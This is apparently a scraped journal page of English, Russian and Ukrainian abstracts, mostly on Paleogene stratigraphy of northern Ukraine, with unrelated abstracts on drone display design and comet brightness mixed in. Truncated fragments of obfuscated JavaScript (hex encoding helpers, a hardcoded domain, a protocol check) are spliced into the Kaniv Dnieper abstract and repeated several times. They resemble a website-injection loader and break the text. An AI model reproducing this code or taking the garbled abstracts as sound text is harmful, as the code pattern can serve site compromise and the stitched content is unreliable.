БІОСТРАТИГРАФІЧНІ І ПАЛЕОНТОЛОГІЧНІ ДОСЛІДЖЕННЯ КАЙНОЗОЙСЬКИХ ВІДКЛАДІВ УКРАЇНИ В ІНСТИТУТІ ГЕОЛОГІЧНИХ НАУК НАН УКРАЇНИ – ОСНОВНІ ДОСЯГНЕННЯ ТА ПЕРСПЕКТИВИ

 The scientific schools on the study of the Paleogene and Neogene deposits of Ukraine, initiated in the Institute of Geological Sciences of NAS of Ukraine are characterized. The attention is focused on the continuity of research generations and the preservation of the traditions of scientific schools. The main stages of development of biostratigraphical and paleontological studies from the moment of the creation of the schools to the present time are analyzed; the achievements in the study of Cenozoic deposits are presented. The role of researchers in solving of fundamental scientific problems, as well as the implemantation of scientific developments in the practice of geological survey and prospecting work are shown. Prospective directions of stratigraphic-paleontological research and ways of further integration into the international scientific community are outlined. Охарактеризованы научные школы по изучению палеогеновых и неогеновых отложений Украины, основанные в Институте геологических наук НАН Украины. Акцентировано внимание на преемственности поколений исследователей и сохранении традиций научных школ. Проанализированы основные этапы развития биостратиграфических и палеонтологических исследований от момента создания школ до настоящего времени; представлены достижения в изучении кайнозойских отложений. Показана роль исследователей в решении фундаментальных научных проблем, а также внедрении научных разработок в практику геологосъемочных и поисковых работ. Намечены перспективные направления палеонтолого-стратиграфических исследований и пути дальнейшей интеграции в международное научное сообщество.   Охарактеризовано наукові школи по вивченню палеогенових і неогенових відкладів України, започатковані в Інституті геологічних наук НАН України. Акцентовано увагу на спадкоємності поколінь дослідників і збереженні традицій наукових шкіл. Проаналізовано основні етапи розвитку біостратиграфічних та палеонтологічних досліджень від моменту створення шкіл до сьогодення; представлено досягнення у вивченні кайнозойських відкладів. Показана роль дослідників у вирішенні фундаментальних наукових проблем, а також впровадженні наукових розробок у практику геологознімальних та пошукових робіт. Визначені перспективні напрями палеонтолого-стратиграфічних досліджень і шляхи подальшої інтеграції у світову наукову спільноту.

ЕТАПИ РОЗВИТКУ ОСАДОВИХ БАСЕЙНІВ ПІВНІЧНОЇ УКРАЇНИ В ПАЛЕОГЕНІ

The Paleogene stratigraphic charts introduced in the 20th century are considered in this study. A conducted review of lithological and paleontological studies of the Paleogene regional stratigraphic subdivisions of the Northern Ukraine for the last 20 years has resulted in the revision of the existing regional stratigraphic scheme. Regional stages are considered to reflect the transgressive-regressive cyclicity of paleobasins. A detailed description of Pselian, Merlian, Kanievian, Buchakian, Kievian, Obukhovian, Mezhygorkian and Berekian regional stages is given. Pselian and Merlian regional stages are described for the first time in the present study as independent stratigraphic subdivisions. Boundaries of regional stages are reviewed. A biostratigraphic (zonal) scheme of the Paleogene has been created based on key planktonic fossils. Molluscs, spores and pollen, selachians, otoliths, and tethrapods have been also taken into consideration. The stratigraphic (correlative) intervals identified by organic-walled, calcareous and siliceous microplankton have served as a basis for regional and interregional correlations. The Paleogene regional stages have been correlated with the stages of the International Stratigraphic Chart and regional subdivisions of the Southern Ukraine, Belarus, and Russia. The problematic stratigraphic levels have been discussed. The Berekian regional stage is suggested to be divided into two independent regional stages. Directions for further research are outlined.Проанализирована эволюция взглядов на стратиграфические схемы палеогена ХХ столетия. Приведены итоги литолого- палеонтологического изучения региональных стратиграфических подразделений палеогена Северной Украины за последние 20 лет, которые стали основой ревизии действующей региональной стратиграфической схемы. Региоярусы рассматриваются как отражение трансгрессивно-регрессивной цикличности палеобасейнов. Приведена уточненная характеристика псельского, мерлинского, каневского, бучакского, киевского, обуховского, межигорского и берекского региоярусов. Псельский и мерлинский региоярусы в качестве самостоятельных региональных стратонов описываются впервые. Освещено положение границ региональных ярусов палеогена Северной Украины в МСШ. Составлена схема биостратиграфического (зонального) деления палеогена по наиболее важным планктонным фоссилиям. При датировании учтены данные по моллюскам, палинофоссилиям, эласмобранхиям, отолитам, тетраподам. Установленные стратиграфические (коррелятивные) интервалы по органикостенному, известковистому и кремнистому микропланктону стали обоснованием внутри- и межрегиональной корреляции. Региоярусы палеогена Северной Украины сопоставлены с ярусами МСШ и региональными подразделениями Южной Украины, Беларуси, России. Отмечены уровни проблемных корреляций. Обосновывается предложение о разделении берекского региояруса на два самостоятельных региояруса. Намечены пути дальнейших исследований.Проаналізовано еволюцію поглядів на стратиграфічні схеми палеогену ХХ сторіччя. Подані підсумки літолого- палеонтологічного вивчення регіональних стратиграфічних підрозділів палеогену Північної України за останні 20 років, які стали основою ревізії діючої регіональної стратиграфічної шкали. Регіояруси розглядаються як відображення трансгресивно-регресивної циклічності палеобасейнів. Наведено уточнену характеристику псьольського, мерлинського, канівського, бучацького, київського, обухівського, межигірського та берецького регіоярусів. Псьольський і мерлинський регіояруси в якості самостійних регіональних стратонів описано вперше. Освітлено положення границь регіональних ярусів палеогену Північної України в МСШ. Складено схему біостратиграфічного (зонального) поділу палеогену за найважливішими планктонними фосиліями. При датуванні враховані дані за молюсками, палінофосиліями, еласмобранхіями, отолітами, тетраподами. Встановлені стратиграфічні (корелятивні) інтервали за органікостінним, вапняковим та кременистим мікропланктоном стали підґрунтям внутрішньо- та міжрегіональній кореляції. Регіояруси палеогену Північної України зіставлені з ярусами МСШ і регіональними підрозділами Південної України, Білорусі та Росії. Відмічені рівні проблемних кореляцій. Обґрунтовується пропозиція про розділення берецького регіояруса на два самостійних регіояруса. Намічені шляхи подальших досліджень

ПАЛЕОГЕНОВІ ВІДКЛАДИ ПІВНІЧНОУКРАЇНСЬКОЇ ПАЛЕОСЕДИМЕНТАЦІЙНОЇ ПРОВІНЦІЇ

A conducted review of lithological and paleontological studies of the Paleogene local stratigraphic subdivisions of the Northern Ukraine for the last 20 years has resulted in the revision of the existing local stratigraphic scheme. Proposed new (actualized) stratigraphic scheme of Paleogene deposits Dnieper-Donets basin, Ukrainian shield and margins Donetsk folded structure (by Stratigraphic code of Ukraine, 2012). A detailed description of Sumy Fm., Merla Fm., Kaniv Fm., Buchak Fm., Kyiv Fm., Obukhiv Fm., Mezhyhiriya Fm. Zmiiv Fm., and Syvach Fm. are described for the first time in the present study as independent stratigraphic subdivisions. New stratigraphic units have been identified in the rank of Strata. Sratigraphic statuses of the some local stratigraphic subdivisions have been emended. The problematic nomenclatures questions have been discussed. Directions for further research are outlined.Приведены итоги литолого-палеонтологического изучения местных стратиграфических подразделений палеогена Северной Украины за последние 20 лет, которые стали основой ревизии действующих местных стратиграфических схем. Предлагается к рассмотрению обновленная (актуализированная) стратиграфическая схема палеогеновых отложений трех основных районов Северной Украины, а именно Днепровско-Донецкой впадины, Украинского щита и северных и северно-западных окраин Донецкого складчастого сооружения согласно требованиям Стратиграфического кодекса Украины (2012). Приведена уточненная лито-, биостратиграфическая характеристика основных свит палеогена (сумской, мерлинской, каневской, бучакской, киевской, межигорской). Змиевская и сивашская свиты описаны впервые в качестве самостоятельных подразделений. Выделены новые стратиграфические подразделения эоценовых отложений в ранге толщ и слоев (ярошовская толща, толща бескарбонатных защитно-зеленых глин, верблюжские слои и др.). Изменен стратиграфический статус некоторых местных стратонов. Отмечены проблемные номенклатурные вопросы. Намечены пути дальнейших исследований.Подані підсумки літолого-палеонтологічного вивчення місцевих стратиграфічних підрозділів палеогену Північної України за останні 20 років, які стали основою ревізії діючих місцевих стратиграфічних схем. Пропонується до розгляду нова (актуалізована) стратиграфічна схема палеогенових відкладів Дніпровсько-Донецької западини (ДДЗ), Українського щита (УЩ) та окраїн Донецької складчастої споруди (ДСС), складена відповідно до вимог Стратиграфічного кодексу (2012). Наведено уточнену літо-біостратиграфічну характеристику основних світ палеогену (сумської, мерлинської, канівської, бучацької, київської, обухівської, межигірської). Зміївська та сиваська світи вперше описані в якості самостійних місцевих стратонів. Виділені нові стратиграфічні підрозділи еоценових відкладів в ранзі товщ. Змінено стратиграфічний статус деяких місцевих стратонів. Відмічені проблемні номенклатурні питання. Намічені шляхи подальших досліджень

НЕОСТРАТОТИП «КАНІВСЬКОГО ЯРУСУ»

The article concentrates on a history of the study of the Kaniv stage; different variants of interpretation of its thickness and age; validity of nomenclature decisions related to erecting new stratons in «the Kaniv stage». Due to the destruction of the sratotype section Markiv Shpyl near Monastyrka village, the Trahtemyriv section is proposed as a neostratotype section of the Kaniv regional stage.Приводятся материалы по истории выделения каневского яруса палеогена. В связи с утратой стратотипического разреза Марков Шпиль у с. Монастырка в качестве неостратотипа предлагается разрез у с. Трактемиров. Рассматриваются различные варианты интерпретации объема и возраста «каневского яруса», стратиграфическая корректность обособления его частей как самостоятельных стратонов и легитимность связанных с этим номенклатурных решений.Наводяться матеріали з історії виділення канівського ярусу палеогену. У зв’язку з втратою стратотипового розрізу Марків Шпиль біля с. Монастирка в якості стратотипового пропонується розріз біля с. Трахтемирів. Розглядаються різні варіанти інтерпретації обсягу та віку «канівського ярусу», стратиграфічна коректність відокремлення його частин як самостійних стратонів і легітимність пов’язаних з цим номенклатурних рішень

Designing of displaing means of the information in a piloting complex of pilotless flying vehicles for operative natural and ecological environmental monitoring

На основі структурно-параметричного методу розроблена методика проектування засобів відображення інформації в наземному авіаційному комплексі дистанційно-пілотованих літальних апаратів, призначених для вирішення завдань оперативного природо-ресурсного та екологічного моніторингу навколишнього середовища.On the basis of a structural and parametrical method the technique of designing the means of displaing information in a ground aviation complex of the pilotless flying vehicles intended for the decision of tasks operative natural and ecological and monitoring of environment is developed.На основе структурно-параметрического метода разработана методика проектирования средств отображения информации в наземном авиационном комплексе дистанционно-пилотируемых летательных аппаратов, предназначенных для решения задач оперативного природоресурсного и экологического мониторинга окружающей среды

ДО СТРАТИГРАФІЇ ПАЛЕОГЕНОВИХ ВІДКЛАДІВ КАНІВСЬКОГО ПРИДНІПРОВ’Я

By results of the geological additional study in 1:200 000 scale (2007-2011) litologo-paleontologic characteristics of Paleogene sea deposits of «Korsun-Shevchenkovsk» leaf territory are given. Alterations and chandes are made to Paleogene stratigraphic chart of connection zone of the Ukrainian shield northeast slope and the Dnieper-Donets depression, the Kanev dislocations. Paleocene Merlian regiostage is represented by the Merlian suite be characterised by dinocysts zone DP2 Сerodinium speciosum s. l. and by Paleocene sponge spicules. Eocene Kanevian regiostage includes the Kanev suite be characterized by dinocysts zone DP4 Wetzeliella meckelfendensis / DP5 Dracodinium simile and subzone DP7a Charlesdowniea coleotrypta s. str.; Ypresian assemblage of mollusks. Buchakian regiostage consists of the Buchak suite and the Yaroshovka strata be characterized by dinocysts subzone DP7b Enneadocysta arcuata, the Kostyanets beds with Lutetian assemblage of mollusks. Kievian regiostage contains the Kiev suite. Phosphorite sands, marls, calcareous clays of the suite are characterizes by nanoplankton zone NP16, plankton foraminifera beds with Acarinina kiewensis and bentic foraminifera beds with Pseudoclavulina subbotinae – Robulus dimorphus. A member of subkiev sands (be characterizes by dinocysts assemble of Wetzeliella articulata, Dinopterigyum cladoides, Glaphirocysta ordinatа) and a member of non-calcareous argilaceous silts (be characterized by bentic foraminifera assemblages of beds with Pseudoclavulina subbotinae – Robulus dimorphus and beds with Haplophragmoides kiewensis, by single planktic foraminifera Pseudohastigerinamicra, Acarinina ex gr. rugosoaculeata, Subbotina turсmenica, by dinocysts assemblage of zones DP9 Rhombodiniumdraco / DP10 Rhombodiniumporosum) are allocated as a part of the Kiev suite in the Kanev Pridneprovye. Obuchovian regiostage is representes by a sands member. Oligocene Mezhyhirian and Berekkian regiostages are spread restrictly and differs by non-typical litological composition. Nomenclature questions are discussed in the article. Non-validity of the Glyadiv suite of Paleocene, the Monastyrets and the Kostyanets suites of Eocene of the Kanev dislocation region is proved. Stratigraphic volume of Eocene Kiev suite of connection zone of the Ukrainian shield northeast slope and the Dnieper-Donets depression is considered. // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "geojournal.igs-nas.org.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e По результатам ГДП-200 приведена литолого-палеонтологическая характеристика морских отложений палеогена территории листа «Корсунь-Шевченковский» (2007-2011 гг.). Внесены уточнения и изменения в стратиграфическую схему палеогеновых отложений зоны сочленения северо-восточного склона Украинского щита (УЩ) и Днепровско-Донецкой впадины (ДДВ), района Каневских дислокаций. Мерлинский региоярус палеоцена представлен мерлинской свитой, охарактеризованной диноцистами зоны DP2 Сerodinium speciosum s. l. и спикулами губок палеоцена. Каневский региоярус эоцена – каневской свитой (диноцисты зон DP4 Wetzeliella meckelfendensis / DP5 Dracodinium simile, подзоны DP7a Charlesdowniea coleotrypta s. str.; ипрский комплекс моллюсков). Бучакский региоярус – бучакской свитой и ярошовской толщей, охарактеризованными комплексом диноцист подзоны DP7b Enneadocysta arcuata, а также костянецкими слоями с лютетским комплексом моллюсков. Киев- ский региоярус – киевской свитой. Фосфоритовые пески, мергели и известковистые глины свиты характеризуют зона NP16 наннопланктона, планктонные фораминиферы слоев с Acarinina kiewensis и слои с Pseudoclavulina subbotinae – Robulus dimorphus бентосных фораминифер. В составе киевской свиты Каневского Приднепровья выделены пачка подкиевских песков (комплекс диноцист с Wetzeliella articulata, Dinopterigyum cladoides, Glaphirocysta ordinatа) и пачка бескарбонатных глинистых алевритов (комплексы бентосных фораминифер слоев с Pseudoclavulina subbotinae – Robulus dimorphus и слоев с Haplophragmoides kiewensis; единичные планктонные фораминиферы Pseudohastigerinamicra, Acarinina ex gr. rugosoaculeata, Subbotina turсmenica и др.; комплекс диноцист зон DP9 Rhombodinium draco / DP10 Rhombodinium porosum). Обуховский региоярус представлен пачкой песков. Межигорские и берекские отложения олигоцена распространены ограничено и отличаются нетипичностью литологического состава. Рассмотрены номенклатурные вопросы. Обоснована невалидность глядовской свиты палеоцена, монастырецкой и костянецкой свит эоцена района Каневских дислокаций, а также рассмотрен объем киевской свиты эоцена зоны сочленения северо-восточного склона УЩ и ДДВ.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "geojournal.igs-nas.org.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e За результатами ГДП-200 наведена літолого-палеонтологічна характеристика морських відкладів палеогену території аркуша «Корсунь-Шевченківський» (2007-2011 рр.). Внесені уточнення та зміни до стратиграфічної схеми палеогенових відкладів зони зчленування північно-східного схилу Українського щита (УЩ) та Дніпровсько-Донецької западини (ДДЗ), району Канівських дислокацій. Мерлинський регіоярус палеоцену представлений мерлинською світою, яку характеризують диноцисти зони DP2 Сerodiniumspeciosums. l. та спікули губок палеоцену. Канівський регіоярус еоцену – канівською світою (диноцисти зон DP4 Wetzeliella meckelfendensis / DP5 Dracodinium simile, подзони DP7a Charlesdowniea coleotrypta s. str.; іпрський комплекс молюсків). Бучацький регіоярус – бучацькою світою та ярошівською товщею, охарактеризованими комплексом диноцист підзони DP7b Enneadocysta arcuata, а також костянецькими верствами з лютетським комплексом молюсків. Київський регіоярус – київською світою. Фосфоритові піски, мергелі і вапнисті глини світи характеризують зона NP16 нанопланктону, планктонні форамініфери верств з Acarinina kiewensis, бентосні форамініфери верств з Pseudoclavulina subbotinae – Robulus dimorphus. У складі київської світи Канівського Придніпров’я виділені пачка підкиївських пісків (комплекс диноцист з Wetzeliella articulata, Dinopterigyum cladoides, Glaphirocysta ordinatа) і пачка безкарбонатних глинистих алевритів (комплекси бентосних форамініфер верств з Pseudoclavulina subbotinae – Robulus dimorphus і верств з Haplophragmoides kiewensis; поодинокі планктонні форамініфери Pseudohastigerina micra, Acarinina ex gr. rugosoaculeata, Subbotina turсmenica; комплекс диноцист зон DP9 Rhombodinium draco / DP10 Rhombodinium porosum). Обухівський регіоярус представлений пач кою пісків. Межигірські і берецькі відклади олігоцену поширені обмежено і відрізняються нетиповим літологічним складом. Розглянуті номенклатурні питання. Обгрунтована невалідність глядівської світи палеоцену, монастирецької і костянецької світ еоцену району Канівських дислокацій, а також обговорений об’єм київської світи еоцену зони зчленування північно-східного схилу УЩ і ДДЗ. // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "geojournal.igs-nas.org.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "geojournal.igs-nas.org.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "geojournal.igs-nas.org.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "geojournal.igs-nas.org.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;

Cometary Brightness Variations and Conditions in Interplanetary Space

The study of cometary brightness variations can be a good method for determining conditions in interplanetary space. In this work we compare the light curves of comets with curves showing variations in the geomagnetic field at times when the comets are near the ecliptic plane. We have used photometric observations made of 29 comets between 1881 and 1937. It is shown that an increase in the brightness of a comet is associated with an increase in the geomagnetic activity index and consequently with the influence of the solar corpuscular streams and solar wind.</jats:p